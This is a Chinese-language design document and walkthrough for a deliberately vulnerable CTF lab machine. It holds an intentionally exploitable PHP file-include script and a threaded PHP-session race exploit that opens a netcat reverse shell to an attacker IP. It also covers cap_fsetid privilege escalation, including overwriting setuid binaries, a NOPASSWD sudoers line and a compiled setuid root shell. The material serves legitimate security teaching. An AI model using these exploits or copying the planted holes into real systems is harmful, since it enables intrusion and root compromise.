MazeSec su靶机设计流程
设计思路:web入口处首页展示静态内容,选手扫描web目录发现info.php,shell.php,根据info.php的phpinfo信息找到php session的存储路径,控制session文件名及文件内容执行命令反弹shell,在/var/tmp目录可以发现存放多个suid的su二进制文件,以及PHP二进制文件存在的cap_fsetid权限,利用该权限下读写文件不会损失二进制文件suid属性,读取bash二进制文件内容写入su实现提权。
设计上,对于给php二进制文件设置cap_fsetid权限,suid二进制文件4777全局可写的suid文件的场景极不合理,设计这个场景主要是为了教学目的,一方面给选手发现直接修改suid文件会失去suid属性,另一方面抛砖引玉通过Linux capabilites中少见的cap_fsetid权限增加AI梭哈成本,让选手在过程中可以了解到一些相关内容,场景仅适用于学习交流。想要了解更全面的Linux capabilites知识,了解更多请阅读Linux capabilities - HackTricks文档,我对PHP session的学习和理解PHP临时文件生成分析及利用。
基础环境安装
安装 python3、getcap、setcap、gnu版本su、find以及编译环境,优化选手体验,同时可以满足选手编译独立二进制文件的需求。
apk add libcap findutils util-linux-login build-base python3
模板靶机已配置过nginx、php-fpm,此处不再重复安装配置
web准备
index.php
<?php
echo "Hi!";
info.php
<?php
phpinfo();
shell.php
<?php
highlight_file(__FILE__);
$f = $_GET['f'] ?? '';
if (file_exists($f)) {
system(". $f");
}
提权准备
准备多份su二进制文件,并设置setuid
# 确保su不是/bin/bbsuid的软链接
ls -alh /bin/su
# 复制10份
for i in {1..10}; do cp /bin/su /var/tmp/su$i; done
chmod 4777 /var/tmp/su*
给php补充cap_fsetid权限
ls /usr/bin/php*
setcap cap_fsetid+ep /usr/bin/php85
声明信息:
cat << "EOF" > /var/tmp/README
你好,这是一个教学环境。你至少有 10 次机会可以提权到 root。
祝你学习工作顺利!
---
Hi, this is a teaching environment. You have at least 10 chances to escalate to root.
Good luck and happy hacking!
EOF
用户密码修改
添加一个普通用户
useradd daochunhan -s /bin/bash -m
echo "daochunhan:@daochunhan" | chpasswd
root修改密码
echo "root:root@Mazesec" | chpasswd
放置flag
echo 'flag{root-7beb8555c08d73b62d27e5fe69886bba}' > /root/root.txt
echo 'flag{user-f40e447ab9ba43c5352eae22b260893a}' > /home/daochunhan/user.txt
chown daochunhan:daochunhan /home/daochunhan/user.txt
chmod 664 /home/daochunhan/user.txt
压缩镜像
清理磁盘空间及痕迹参考:https://the0n3.top/posts/vm-trace-cleanup-and-image-compression/
压缩空间
# 用零填充空闲空间,便于压缩
dd if=/dev/zero of=/zero bs=1M || true; rm -f /zero
测试
web扫描目录可以发现info.php,shell.php,利用info.php的phpinfo信息找到php session的存储路径,控制session文件名及文件内容执行命令反弹shell
import io
import requests
import threading
url = 'http://192.168.56.158/shell.php'
sessionid = 'aaaa'
def write(session): # 写入临时文件
while True:
fileBytes = io.BytesIO(b'a'*1024*200)
session.post(url,
cookies = {'PHPSESSID':sessionid},
data = {'PHP_SESSION_UPLOAD_PROGRESS':'''
busybox nc 192.168.56.111 4444 -e bash
'''},
files={'file':('1.jpg',fileBytes)}
)
def read(session):
while True:
session.get(url + '?f=/tmp/sess_' + sessionid)
evnet=threading.Event() # 多线程
session = requests.session()
for i in range(5):
threading.Thread(target = write,args = (session,)).start()
for i in range(5):
threading.Thread(target = read,args = (session,)).start()
evnet.set()
这版本AlpineLinux使用script优化反弹shell时会遇到This account is not available问题,可以使用python优化反弹shell。
python3 -c 'import pty; pty.spawn("/bin/bash")'
拿到基础shell后,可以通过利用cap_fsetid权限读取bash二进制文件内容写入su,拿到suid bash,受AlpineLinux的Busybox影响,可以利用suid bash给的fsuid再进一步获取完整root权限。
介绍下cap_fsetid权限,cap_fsetid是Linux capabilities中的一个权限,允许进程在写入文件时保留文件的set-user-ID和set-group-ID位。通常情况下,当一个非特权用户修改一个具有setuid或setgid位的文件时,这些位会被清除,以防止潜在的安全风险。然而,如果进程拥有cap_fsetid权限,它可以在写入文件时保留这些位,从而允许非特权用户创建或修改具有setuid或setgid位的文件。靶机在/var/tmp下准备了10个suid的全局可写的su二进制文件,他们几乎只会存在于教学环境中,实际生产环境中不应该存在这种情况。
nginx@Maze:/var/tmp$ getcap -r /
/usr/bin/php85 cap_fsetid=ep
nginx@Maze:/var/tmp$ ls -alh su1
-rwsrwxrwx 1 root root 46.0K Oct 12 15:16 su1
nginx@Maze:/var/tmp$ /usr/bin/php85 -r 'file_put_contents("su1",file_get_contents("/bin/bash"));'
nginx@Maze:/var/tmp$ ls -alh su1
-rwsrwxrwx 1 root root 771.0K Oct 12 16:30 su1
nginx@Maze:/var/tmp$ ./su1 -p
su1-5.3# cat /root/root.txt
cat: can't open '/root/root.txt': Permission denied
su1-5.3# echo 'ALL ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/a
su1-5.3# exit
exit
nginx@Maze:/var/tmp$ sudo -i
root@Maze:~#
或者编译独立二进制文件覆盖suid su获取完整权限
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", NULL);
}
编译过程找不到cc1,手动加下cc链或者攻击机静态编译了
nginx@Maze:/var/tmp$ export PATH="/usr/libexec/gcc/x86_64-alpine-linux-musl/15.2.0:$PATH"
nginx@Maze:/var/tmp$ gcc daochunhan.c -o daochunhan
nginx@Maze:/var/tmp$ getcap -r /
/usr/bin/php85 cap_fsetid=ep
nginx@Maze:/var/tmp$ /usr/bin/php85 -r 'file_put_contents("su2",file_get_contents("./daochunhan"));'
nginx@Maze:/var/tmp$ ls -alh su2
-rwsrwxrwx 1 root root 18.0K Oct 12 16:43 su2
nginx@Maze:/var/tmp$ ./su2
root@Maze:/var/tmp#